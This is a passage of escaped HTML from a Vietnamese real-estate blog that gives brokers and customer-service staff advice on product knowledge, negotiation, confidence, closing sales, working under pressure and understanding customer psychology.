thuy\u1ebft ph\u1ee5c v\u1ec1 d\u1ecbch v\u1ee5 ho\u1eb7c s\u1ea3n ph\u1ea9m c\u1ee7a b\u1ea1n \u0111\u00e1p \u1ee9ng nhu c\u1ea7u v\u00e0 l\u1ed1i s\u1ed1ng hi\u1ec7n t\u1ea1i c\u1ee7a h\u1ecd.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Giai_phap_ma_ban_cung_cap_co_thoa_man_khach_hang_khong\"><\/span>Gi\u1ea3i ph\u00e1p m\u00e0 b\u1ea1n cung c\u1ea5p c\u00f3 tho\u1ea3 m\u00e3n kh\u00e1ch h\u00e0ng kh\u00f4ng?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Vi\u1ec7c \u0111\u1ea3m b\u1ea3o ni\u1ec1m vui c\u1ee7a kh\u00e1ch h\u00e0ng lu\u00f4n lu\u00f4n ph\u1ea3i \u0111\u01b0\u1ee3c \u01b0u ti\u00ean h\u00e0ng \u0111\u1ea7u khi b\u1ea1n \u0111ang b\u00e1n h\u00e0ng ho\u1eb7c cung c\u1ea5p m\u1ed9t gi\u1ea3i ph\u00e1p cho h\u1ecd. Bi\u1ebft kh\u00e1ch h\u00e0ng c\u1ea7n g\u00ec s\u1ebd gi\u00fap b\u1ea1n c\u1ea3m th\u1ea5y t\u1ef1 tin h\u01a1n v\u1edbi b\u1ea5t k\u1ef3 gi\u1ea3i ph\u00e1p n\u00e0o m\u00e0 b\u1ea1n c\u00f3 kh\u1ea3 n\u0103ng cung c\u1ea5p.<\/p>\n\n\n\n<p>B\u1ea1n n\u00ean ki\u1ec3m tra l\u1ea1i v\u1edbi kh\u00e1ch h\u00e0ng r\u1eb1ng d\u1ecbch v\u1ee5 m\u00e0 b\u1ea1n \u0111ang cung c\u1ea5p cho h\u1ecd l\u00e0m h\u1ecd h\u00e0i l\u00f2ng. \u0110i\u1ec1u n\u00e0y s\u1ebd gi\u00fap b\u1ea1n ghi \u0111i\u1ec3m tuy\u1ec7t \u0111\u1ed1i v\u1edbi kh\u00e1ch h\u00e0ng v\u00e0 gi\u00fap b\u1ea1n \u0111\u1ea3m b\u1ea3o s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a kh\u00e1ch h\u00e0ng d\u00e0nh cho b\u1ea1n. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tro_thanh_chuyen_gia\"><\/span>Tr\u1edf th\u00e0nh chuy\u00ean gia<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>B\u1ea1n kh\u00f4ng hi\u1ec3u r\u00f5 v\u1ec1 s\u1ea3n ph\u1ea9m c\u1ee7a m\u00ecnh? B\u1ea1n \u1ea5p \u00fang v\u00e0 thi\u1ebfu t\u1ef1 tin khi gi\u1edbi thi\u1ec7u v\u1edbi kh\u00e1ch v\u1ec1 s\u1ea3n ph\u1ea9m? Nh\u1eefng \u0111i\u1ec1u n\u00e0y s\u1ebd l\u00e0m b\u1ea1n m\u1ea5t \u0111i\u1ec3m v\u1edbi kh\u00e1ch h\u00e0ng, v\u00ec th\u1ebf b\u1ea1n c\u00f2n kh\u00f4ng t\u1ef1 tin khi t\u01b0 v\u1ea5n cho kh\u00e1ch th\u00ec l\u00e0m sao kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 tin t\u01b0\u1edfng d\u1ecbch v\u1ee5 m\u00e0 b\u1ea1n \u0111em \u0111\u1ebfn?<\/p>\n\n\n\n<p>V\u1eady n\u00ean, h\u00e3y tr\u1edf th\u00e0nh chuy\u00ean gia cho v\u1ecb tr\u00ed m\u00e0 b\u1ea1n \u0111ang n\u1eafm gi\u1eef. B\u1ea1n c\u00f3 th\u1ec3 h\u1ecdc h\u1ecfi c\u00e1c k\u1ef9 n\u0103ng c\u1ea7n thi\u1ebft cho v\u1ecb tr\u00ed \u0111\u00f3 v\u00e0 t\u00ecm hi\u1ec3u t\u1ea5t c\u1ea3 m\u1ecdi th\u1ee9 hi\u1ec7n c\u00f3 v\u1ec1 c\u00e1c d\u1ecbch v\u1ee5 v\u00e0 s\u1ea3n ph\u1ea9m m\u00e0 b\u1ea1n \u0111ang cung c\u1ea5p, tr\u01b0\u1edbc khi b\u1ea1n b\u1eaft \u0111\u1ea7u t\u01b0 v\u1ea5n cho kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n. H\u00e3y d\u00e0nh th\u1eddi gian \u0111\u1ecdc v\u1ec1 c\u00e1c s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5 m\u00e0 b\u1ea1n c\u00f9ng c\u1ea5p, tham d\u1ef1 c\u00e1c bu\u1ed5i \u0111\u00e0o t\u1ea1o ho\u1eb7c n\u00f3i chuy\u1ec7n v\u1edbi c\u00e1c \u0111\u1ed3ng nghi\u1ec7p nhi\u1ec1u kinh nghi\u1ec7m h\u01a1n,&#8230; ch\u1eafc ch\u1eafn s\u1ebd gi\u00fap b\u1ea1n c\u00f3 th\u00eam ki\u1ebfn th\u1ee9c \u0111\u1ec3 tr\u1edf th\u00e0nh chuy\u00ean gia. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Hieu_to_chuc_cua_ban\"><\/span>Hi\u1ec3u t\u1ed5 ch\u1ee9c c\u1ee7a b\u1ea1n<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>B\u1ea1n c\u00e0ng c\u00f3 nhi\u1ec1u ki\u1ebfn th\u1ee9c v\u1ec1 t\u1ed5 ch\u1ee9c\/c\u00f4ng ty c\u1ee7a m\u00ecnh, b\u1ea1n c\u00e0ng d\u1ec5 d\u00e0ng c\u00f3 \u0111\u01b0\u1ee3c s\u1ef1 tin t\u01b0\u1edfng c\u1ee7a kh\u00e1ch h\u00e0ng v\u1ec1 c\u00e1c s\u1ea3n ph\u1ea9m ho\u1eb7c d\u1ecbch v\u1ee5 m\u00e0 b\u1ea1n \u0111ang c\u1ed1 g\u1eafng b\u00e1n cho h\u1ecd. Khi b\u1ea1n c\u00f3 kh\u1ea3 n\u0103ng tr\u1ea3 l\u1eddi b\u1ea5t k\u1ef3 c\u00e2u h\u1ecfi n\u00e0o c\u1ee7a kh\u00e1ch h\u00e0ng v\u1ec1 c\u00f4ng ty c\u1ee7a m\u00ecnh, \u0111i\u1ec1u \u0111\u00f3 ch\u1ee9ng minh r\u1eb1ng b\u1ea1n l\u00e0 m\u1ed9t chuy\u00ean gia hi\u1ec3u s\u00e2u v\u1ec1 s\u1ea3n ph\u1ea9m, d\u1ecbch v\u1ee5 c\u1ee7a c\u00f4ng ty, nh\u1eefng g\u00ec c\u00f4ng ty \u0111ang c\u1ed1 g\u1eafng \u0111em l\u1ea1i cho kh\u00e1ch h\u00e0ng v\u00e0 th\u1ec3 hi\u1ec7n r\u1eb1ng b\u1ea1n th\u1eadt s\u1ef1 t\u00e2m huy\u1ebft v\u1edbi c\u00f4ng vi\u1ec7c.<\/p>\n\n\n\n<p>Am hi\u1ec3u v\u1ec1 m\u00f4i tr\u01b0\u1eddng xung quanh v\u00e0 c\u00f4ng ty m\u00e0 b\u1ea1n \u0111ang \u0111\u1ea1i di\u1ec7n l\u00e0 m\u1ed9t c\u00e1ch nhanh ch\u00f3ng t\u1ea1p \u0111\u01b0\u1ee3c s\u1ef1 tin t\u01b0\u1edfng v\u00e0 t\u00f4n tr\u1ecdng kh\u00f4ng ch\u1ec9 v\u1edbi kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n, m\u00e0 c\u00f2n c\u1ea3 n\u01a1i l\u00e0m vi\u1ec7c c\u1ee7a b\u1ea1n. Vi\u1ec7c t\u00ecm hi\u1ec3u v\u1ec1 nh\u1eefng \u0111\u1ed3ng nghi\u1ec7p t\u1ea1i n\u01a1i l\u00e0m vi\u1ec7c v\u00e0 th\u00e2n thi\u1ec7n v\u1edbi h\u1ecd s\u1ebd gi\u00fap b\u1ea1n r\u1ea5t nhi\u1ec1u n\u1ebfu sau n\u00e0y b\u1ea1n g\u1eb7p c\u00e1c b\u1ebf t\u1eafc v\u1edbi nh\u1eefng v\u1ea5n \u0111\u1ec1 ph\u1ee9c t\u1ea1p. C\u00e0ng bi\u1ebft nhi\u1ec1u ng\u01b0\u1eddi trong t\u1ed5 ch\u1ee9c, b\u1ea1n c\u00e0ng d\u1ec5 d\u00e0ng l\u00e0m vi\u1ec7c c\u00f9ng h\u1ecd \u0111\u1ec3 \u0111\u1ea3m b\u1ea3o t\u1ea5t c\u1ea3 c\u00e1c kh\u00e1ch h\u00e0ng \u0111\u1ec1u h\u00e0i l\u00f2ng.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Quan_ly_thoi_gian\"><\/span>Qu\u1ea3n l\u00fd th\u1eddi gian<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Qu\u1ea3n l\u00fd th\u1eddi gian l\u00e0 k\u1ef9 n\u0103ng v\u00f4 c\u00f9ng quan tr\u1ecdng m\u00e0 b\u1ea1n c\u1ea7n c\u00f3 d\u00f9 l\u00e0m b\u1ea5t c\u1ee9 ng\u00e0nh ngh\u1ec1 n\u00e0o. Khi b\u1ea1n bi\u1ebft c\u00e1ch ph\u00e2n b\u1ed5 th\u1eddi gian h\u1ee3p l\u00fd, si\u1ebft ch\u1eb7t khung th\u1eddi gian v\u1edbi nh\u1eefng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng, b\u1ea1n s\u1ebd n\u00e2ng cao \u0111c kh\u1ea3 n\u0103ng ch\u1ed1t sales v\u00e0 \u0111\u1ea1t \u0111\u01b0\u1ee3c s\u1ef1 t\u00edn nhi\u1ec7m.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Thuong_luong_va_thuyet_phuc\"><\/span>Th\u01b0\u01a1ng l\u01b0\u1ee3ng v\u00e0 thuy\u1ebft ph\u1ee5c<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Ph\u00e1t tri\u1ec3n k\u1ef9 n\u0103ng th\u01b0\u01a1ng l\u01b0\u1ee3ng v\u00e0 kh\u1ea3 n\u0103ng thuy\u1ebft ph\u1ee5c ng\u01b0\u1eddi kh\u00e1c gi\u00fap cho b\u1ea1n lu\u00f4n l\u00e0m ch\u1ee7 trong b\u1ea5t k\u1ef3 t\u00ecnh hu\u1ed1ng h\u1ed7 tr\u1ee3 kh\u00e1ch h\u00e0ng n\u00e0o m\u00e0 b\u1ea1n \u0111\u1ea3m nh\u1eadn. Bi\u1ebft \u0111\u01b0\u1ee3c khi n\u00e0o n\u00ean ch\u00e0o h\u00e0ng v\u00e0 ph\u00e1t tri\u1ec3n kh\u1ea3 n\u0103ng giao ti\u1ebfp hi\u1ec7u qu\u1ea3 v\u1edbi kh\u00e1ch h\u00e0ng l\u00e0 m\u1ed9t c\u00e1ch b\u1ea1n c\u00f3 doanh thu nhi\u1ec1u h\u01a1n, \u0111\u1ed3ng th\u1eddi t\u1ea1o d\u1ef1ng \u0111\u01b0\u1ee3c s\u1ef1 tin t\u01b0\u1edfng v\u00e0 trung th\u00e0nh c\u1ee7a kh\u00e1ch h\u00e0ng. B\u1ea1n c\u00f3 th\u1ec3 c\u1ea3i thi\u1ec7n k\u1ef9 n\u0103ng b\u00e1n h\u00e0ng c\u1ee7a m\u00ecnh b\u1eb1ng c\u00e1ch tham gia m\u1ed9t l\u1edbp h\u1ecdc b\u00e1n h\u00e0ng, \u0111\u1ecdc s\u00e1ch hay th\u1eadm ch\u00ed th\u1ef1c h\u00e0nh ph\u01b0\u01a1ng ph\u00e1p thuy\u1ebft ph\u1ee5c c\u1ee7a ch\u00ednh b\u1ea1n v\u1edbi gia \u0111\u00ecnh v\u00e0 b\u1ea1n b\u00e8. <\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/iStock-697123482-meeting-businessmann-deall-handshakee-workk-tablett.jpg\" alt=\"\" class=\"wp-image-30200 lazyload\" width=\"587\" height=\"393\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/iStock-697123482-meeting-businessmann-deall-handshakee-workk-tablett-300x200.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2021\/09\/iStock-697123482-meeting-businessmann-deall-handshakee-workk-tablett-150x100.jpg 150w\" data-sizes=\"(max-width: 587px) 100vw, 587px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 587px; --smush-placeholder-aspect-ratio: 587\/393;\" \/><figcaption>K\u1ef9 n\u0103ng th\u01b0\u01a1ng l\u01b0\u1ee3ng v\u00e0 kh\u1ea3 n\u0103ng thuy\u1ebft ph\u1ee5c ng\u01b0\u1eddi kh\u00e1c gi\u00fap cho b\u1ea1n lu\u00f4n l\u00e0m ch\u1ee7 trong b\u1ea5t k\u1ef3 t\u00ecnh hu\u1ed1ng h\u1ed7 tr\u1ee3 kh\u00e1ch h\u00e0ng n\u00e0o <\/figcaption><\/figure><\/div>\n\n\n\n<p>>>> <a href=\"https:\/\/reti.vn\/blog\/tro-thanh-ctv-moi-gioi-bat-dong-san-co-kho-nhu-ban-nghi\/\" target=\"_blank\" rel=\"noreferrer noopener\">Tr\u1edf th\u00e0nh CTV m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u00f3 kh\u00f3 nh\u01b0 b\u1ea1n ngh\u0129<\/a><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Hay_tu_tin\"><\/span>H\u00e3y t\u1ef1 tin<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>B\u1ea1n c\u00f3 th\u1ec3 t\u1ecf ra t\u1ef1 tin khi trao \u0111\u1ed5i b\u1eb1ng c\u00e1ch ch\u1ee9ng minh v\u1edbi kh\u00e1ch h\u00e0ng r\u1eb1ng b\u1ea1n tin t\u01b0\u1edfng v\u00e0o s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5 m\u00e0 b\u1ea1n \u0111ang ch\u00e0o b\u00e1n. B\u1ea1n c\u00e0ng t\u1ef1 tin khi xu\u1ea5t hi\u1ec7n tr\u01b0\u1edbc kh\u00e1ch h\u00e0ng bao nhi\u00eau, b\u1ea1n c\u00e0ng d\u1ec5 thuy\u1ebft ph\u1ee5c kh\u00e1ch h\u00e0ng trong b\u1ea5t k\u1ef3 giao d\u1ecbch n\u00e0o m\u00e0 b\u1ea1n \u0111\u1ec1 xu\u1ea5t cho h\u1ecd.<\/p>\n\n\n\n<p>S\u1ef1 t\u1ef1 tin c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c th\u1ec3 hi\u1ec7n th\u00f4ng qua c\u00e1ch b\u1ea1n n\u00f3i chuy\u1ec7n hay \u0111\u1ed1i tho\u1ea1i, do v\u1eady c\u1ea3i thi\u1ec7n k\u1ef9 n\u0103ng n\u00f3i tr\u01b0\u1edbc \u0111\u00e1m \u0111\u00f4ng v\u00e0 giao ti\u1ebfp \u0111\u1ed1i tho\u1ea1i l\u00e0 vi\u1ec7c l\u00e0m thi\u1ebft y\u1ebfu, n\u1ebfu b\u1ea1n mu\u1ed1n n\u00e2ng cao hi\u1ec7u qu\u1ea3 c\u00f4ng vi\u1ec7c trong vai tr\u00f2 m\u1ed9t ng\u01b0\u1eddi \u0111\u1ea1i di\u1ec7n d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ren_luyen_tinh_kien_tri\"><\/span>R\u00e8n luy\u1ec7n t\u00ednh ki\u00ean tr\u00ec<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>C\u00f3 \u0111\u1ecbnh h\u01b0\u1edbng m\u1ee5c ti\u00eau v\u00e0 ki\u00ean tr\u00ec l\u00e0 t\u00e0i s\u1ea3n qu\u00fd gi\u00e1 khi b\u1ea1n l\u00e0m vi\u1ec7c trong vai tr\u00f2 m\u1ed9t ng\u01b0\u1eddi \u0111\u1ea1i di\u1ec7n d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng. B\u1ea1n c\u00e0ng ki\u00ean tr\u00ec t\u1ea1i n\u01a1i l\u00e0m vi\u1ec7c bao nhi\u00eau, th\u00ec c\u00e0ng nhi\u1ec1u kh\u1ea3 n\u0103ng b\u1ea1n s\u1ebd b\u00e1n \u0111\u01b0\u1ee3c nhi\u1ec1u nh\u1ea5t v\u00e0 thu h\u00fat s\u1ef1 ch\u00fa \u00fd c\u1ee7a h\u1ea7u h\u1ebft kh\u00e1ch h\u00e0ng. Khi \u0111\u1eb7t ra m\u1ee5c ti\u00eau r\u00f5 r\u00e0ng, b\u1ea1n t\u1eadp trung, t\u1eadn tu\u1ef5 v\u00e0 chuy\u00ean nghi\u1ec7p trong m\u1ed7i vi\u1ec7c b\u1ea1n l\u00e0m s\u1ebd \u0111\u1ea1i di\u1ec7n cho s\u1ef1 chuy\u00ean nghi\u1ec7p cho c\u00f4ng ty, t\u1ed5 ch\u1ee9c b\u1ea1n tham gia.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Chot_sale\"><\/span>Ch\u1ed1t sale<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Ch\u1ed1t sale l\u00e0 b\u01b0\u1edbc cu\u1ed1i c\u00f9ng, v\u00e0 c\u0169ng l\u00e0 ph\u1ea7n quan tr\u1ecdng nh\u1ea5t trong quy tr\u00ecnh. Bi\u1ebft \u0111\u01b0\u1ee3c khi n\u00e0o n\u00ean chuy\u1ec3n ti\u1ebfp sang vi\u1ec7c ch\u1ed1t sale d\u1ef1a tr\u00ean t\u1eebng kh\u00e1ch h\u00e0ng c\u00e1 nh\u00e2n m\u1ed9t k\u1ef9 n\u0103ng m\u00e0 m\u00f4i gi\u1edbi n\u00e0o c\u0169ng c\u1ea7n thu\u1ea7n th\u1ee5c. H\u00e3y lu\u00f4n lu\u00f4n h\u1ecfi kh\u00e1ch h\u00e0ng li\u1ec7u h\u1ecd \u0111\u00e3 h\u00e0i l\u00f2ng v\u1edbi gi\u1ea3i ph\u00e1p \u0111\u1ec1 xu\u1ea5t ch\u01b0a, \u0111\u1ec3 \u0111\u1ea3m b\u1ea3o b\u1ea1n bi\u1ebft m\u00ecnh \u0111ang \u0111i \u0111\u00fang h\u01b0\u1edbng.<\/p>\n\n\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Xu_ly_tot_nhung_bat_ngo\"><\/span>X\u1eed l\u00fd t\u1ed1t nh\u1eefng b\u1ea5t ng\u1edd<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>L\u00e0m vi\u1ec7c v\u1edbi kh\u00e1ch h\u00e0ng m\u1ed7i ng\u00e0y th\u01b0\u1eddng d\u1eabn \u0111\u1ebfn nhi\u1ec1u v\u1ea5n \u0111\u1ec1 &#8220;b\u1ea5t ng\u1edd&#8221;, ch\u1eb3ng h\u1ea1n nh\u01b0 g\u1eb7p kh\u00e1ch h\u00e0ng kh\u00f3 t\u00ednh, hay nh\u1eefng ng\u01b0\u1eddi ho\u00e0n to\u00e0n nh\u1ea7m l\u1eabn v\u1ec1 s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5 b\u1ea1n \u0111ang tr\u00ecnh b\u00e0y. H\u1ecdc c\u00e1ch x\u1eed l\u00fd trong nhi\u1ec1u t\u00ecnh hu\u1ed1ng kh\u00e1c nhau s\u1ebd gi\u00fap c\u1ea3i thi\u1ec7n s\u1ef1 chuy\u00ean nghi\u1ec7p, kh\u1ea3 n\u0103ng thuy\u1ebft ph\u1ee5c c\u1ee7a b\u1ea1n, gi\u00fap kh\u00e1ch h\u00e0ng t\u00ecm th\u1ea5y c\u00e1c gi\u1ea3i ph\u00e1p h\u1ecd \u0111ang t\u00ecm ki\u1ebfm, ngay c\u1ea3 khi h\u1ecd kh\u00f4ng h\u00e0i l\u00f2ng trong l\u1ea7n \u0111\u1ea7u n\u00f3i chuy\u1ec7n v\u1edbi b\u1ea1n. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Lam_viec_duoi_ap_luc\"><\/span>L\u00e0m vi\u1ec7c d\u01b0\u1edbi \u00e1p l\u1ef1c<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>L\u00e0m vi\u1ec7c d\u01b0\u1edbi \u00e1p l\u1ef1c l\u00e0 m\u1ed9t y\u1ebfu t\u1ed1 kh\u00e1c c\u1ea7n c\u00e2n nh\u1eafc khi b\u1ea1n l\u00e0m vi\u1ec7c trong l\u0129nh v\u1ef1c d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng. C\u00f3 nhi\u1ec1u c\u00f4ng ty y\u00eau c\u1ea7u nh\u00e2n vi\u00ean ph\u1ea3i th\u1ef1c hi\u1ec7n m\u1ed9t l\u01b0\u1ee3ng cu\u1ed9c g\u1ecdi m\u1ed7i ng\u00e0y, \u0111i\u1ec1u n\u00e0y gi\u1ea3i th\u00edch t\u1ea1i sao vi\u1ec7c qu\u1ea3n l\u00fd th\u1eddi gian c\u0169ng r\u1ea5t quan tr\u1ecdng.<\/p>\n\n\n\n<p>L\u00e0m vi\u1ec7c d\u01b0\u1edbi \u00e1p l\u1ef1c \u0111\u00f2i h\u1ecfi b\u1ea1n ph\u1ea3i ho\u00e0n th\u00e0nh m\u1ed9t s\u1ed1 th\u1eddi h\u1ea1n c\u00f4ng vi\u1ec7c nh\u1ea5t \u0111\u1ecbnh, trao \u0111\u1ed5i v\u1edbi nh\u1eefng kh\u00e1ch h\u00e0ng kh\u00f3 ch\u1ecbu v\u00e0 t\u00ecm ra gi\u1ea3i ph\u00e1p ngay l\u1eadp t\u1ee9c khi b\u1ea1n x\u1eed l\u00fd nh\u1eefng v\u1ea5n \u0111\u1ec1 \u00edt ho\u1eb7c hi\u1ebfm khi g\u1eb7p ph\u1ea3i. Bi\u1ebft c\u00e1ch gi\u1ea3i quy\u1ebft v\u1ea5n \u0111\u1ec1, suy ngh\u0129 \u0111\u00f3n \u0111\u1ea7u v\u00e0 duy tr\u00ec s\u1ef1 \u0111i\u1ec1m t\u0129nh m\u1ecdi l\u00fac s\u1ebd gi\u00fap b\u1ea1n ti\u1ebfp c\u1eadn v\u1edbi kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3 h\u01a1n v\u00e0 \u0111em l\u1ea1i cho kh\u00e1ch h\u00e0ng c\u1ea3m gi\u00e1c h\u00e0i l\u00f2ng v\u00e0 th\u1ecfa m\u00e3n v\u1edbi d\u1ecbch v\u1ee5 b\u1ea1n \u0111ang cung c\u1ea5p.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Phan_tich_van_de\"><\/span>Ph\u00e2n t\u00edch v\u1ea5n \u0111\u1ec1<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Ph\u00e2n t\u00edch c\u00e1c v\u1ea5n \u0111\u1ec1 ngay khi b\u1ea1n b\u1eaft \u0111\u1ea7u n\u00f3i chuy\u1ec7n v\u1edbi m\u1ed9t kh\u00e1ch h\u00e0ng l\u00e0 m\u1ed9t c\u00e1ch th\u1ec3 hi\u1ec7n s\u1ef1 chuy\u00ean nghi\u1ec7p, \u0111\u1ed3ng th\u1eddi c\u0169ng n\u00e2ng cao kh\u1ea3 n\u0103ng gi\u1ea3i quy\u1ebft v\u1ea5n \u0111\u1ec1 v\u00e0 t\u00ecm ra nh\u1eefng gi\u1ea3i ph\u00e1p m\u1edbi c\u1ee7a b\u1ea1n. H\u00e3y d\u00e0nh th\u1eddi gian ch\u00fa \u00fd l\u1eafng nghe kh\u00e1ch h\u00e0ng, ghi ch\u00fa l\u1ea1i b\u1ea5t k\u1ef3 r\u1eafc r\u1ed1i n\u00e0o v\u00e0 nhanh ch\u00f3ng t\u00ecm ra nh\u1eefng gi\u1ea3i ph\u00e1p ph\u00f9 h\u1ee3p v\u1edbi t\u1eebng c\u00e1 nh\u00e2n.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Thau_hieu_tam_ly_con_nguoi\"><\/span>Th\u1ea5u hi\u1ec3u t\u00e2m l\u00fd con ng\u01b0\u1eddi<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>L\u00e0m vi\u1ec7c trong l\u0129nh v\u1ef1c d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng, c\u00e0ng hi\u1ec3u t\u00e2m l\u00fd con ng\u01b0\u1eddi, b\u1ea1n c\u00e0ng d\u1ec5 d\u00e0ng truy\u1ec1n t\u1ea3i th\u00f4ng \u0111i\u1ec7p, th\u1ef1c hi\u1ec7n b\u00e1n h\u00e0ng v\u00e0 k\u1ebft n\u1ed1i tr\u1ef1c ti\u1ebfp ngay v\u1edbi kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n. Hi\u1ec3u \u0111\u01b0\u1ee3c t\u00f4ng gi\u1ecdng, gi\u1ecdng \u0111i\u1ec7u v\u00e0 c\u00e1ch kh\u00e1ch h\u00e0ng \u0111ang n\u00f3i chuy\u1ec7n c\u00f3 th\u1ec3 gi\u00fap b\u1ea1n x\u00e1c \u0111\u1ecbnh c\u00e1ch d\u1eabn d\u1eaft c\u00e1c cu\u1ed9c \u0111\u1ed1i tho\u1ea1i v\u1edbi kh\u00e1ch h\u00e0ng, d\u00f9 \u0111\u00f3 l\u00e0 kh\u00e1ch h\u00e0ng l\u1ea7n \u0111\u1ea7u ho\u1eb7c \u0111\u00e3 trung th\u00e0nh v\u1edbi c\u00f4ng ty c\u1ee7a b\u1ea1n trong nhi\u1ec1u n\u0103m.<\/p>\n\n\n\n<p>Khi b\u1ea1n hi\u1ec3u \u0111\u01b0\u1ee3c ng\u00f4n ng\u1eef c\u01a1 th\u1ec3, b\u1ea1n c\u0169ng c\u00f3 th\u1ec3 x\u00e1c \u0111\u1ecbnh \u0111\u01b0\u1ee3c di\u1ec5n bi\u1ebfn hi\u1ec7n t\u1ea1i m\u1ed9t c\u00e1ch t\u1ed1t nh\u1ea5t cho vi\u1ec7c b\u00e1n h\u00e0ng ho\u1eb7c t\u1ea1o ra s\u1ef1 quan t\u00e2m \u0111\u1ebfn c\u00e1c s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5 m\u00e0 b\u1ea1n \u0111ang ch\u00e0o b\u00e1n. B\u1eb1ng c\u00e1ch h\u1ecdc th\u00eam v\u1ec1 t\u00e2m l\u00fd con ng\u01b0\u1eddi, ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 v\u00e0 s\u1ef1 hi\u1ec3u bi\u1ebft v\u1ec1 gi\u1ecdng \u0111i\u1ec7u n\u00f3i chuy\u1ec7n, b\u1ea1n c\u00f3 th\u1ec3 c\u1ea3m th\u1ea5y tho\u1ea3i m\u00e1i v\u00e0 t\u1ef1 tin h\u01a1n b\u1ea5t c\u1ee9 khi n\u00e0o b\u1ea1n trao \u0111\u1ed5i v\u1edbi kh\u00e1ch h\u00e0ng, d\u00f9 ch\u1ec9 qua \u0111i\u1ec7n tho\u1ea1i.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Dieu_gi_se_xay_ra_neu_ban_o_trong_tinh_huong_nay\"><\/span>\u0110i\u1ec1u g\u00ec s\u1ebd x\u1ea3y ra n\u1ebfu b\u1ea1n \u1edf trong t\u00ecnh hu\u1ed1ng n\u00e0y? <span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>Kh\u1ea3 n\u0103ng nh\u00ecn nh\u1eadn s\u1ef1 vi\u1ec7c t\u1eeb nhi\u1ec1u g\u00f3c \u0111\u1ed9 kh\u00e1c nhau l\u00e0 m\u1ed9t ph\u1ea9m ch\u1ea5t kh\u00e1c b\u1ea1n c\u00f3 th\u1ec3 mu\u1ed1n c\u1ea3i thi\u1ec7n. Vi\u1ec7c \u0111\u1eb7t m\u00ecnh v\u00e0o v\u1ecb tr\u00ed kh\u00e1ch h\u00e0ng khi b\u1ea1n n\u00f3i chuy\u1ec7n v\u1edbi h\u1ecd s\u1ebd gi\u00fap b\u1ea1n nh\u00ecn nh\u1eadn v\u1ea5n \u0111\u1ec1 t\u1eeb g\u00f3c \u0111\u1ed9 c\u1ea7n thi\u1ebft \u0111\u1ec3 t\u00ecm ra m\u1ed9t gi\u1ea3i ph\u00e1p ph\u00f9 h\u1ee3p v\u00e0 h\u00e0i l\u00f2ng cho c\u1ea3 kh\u00e1ch h\u00e0ng v\u00e0 c\u00f4ng ty c\u1ee7a b\u1ea1n. H\u00e3y ngh\u0129 \u0111\u1ebfn c\u00e2u h\u1ecfi: \u201c<em>\u0110i\u1ec1u g\u00ec s\u1ebd x\u1ea3y ra n\u1ebfu \u0111\u00f3 l\u00e0 m\u00ecnh?<\/em>\u201d khi b\u1ea1n n\u00f3i chuy\u1ec7n v\u1edbi m\u1ed9t kh\u00e1ch h\u00e0ng, \u0111\u1ec3 nhanh ch\u00f3ng 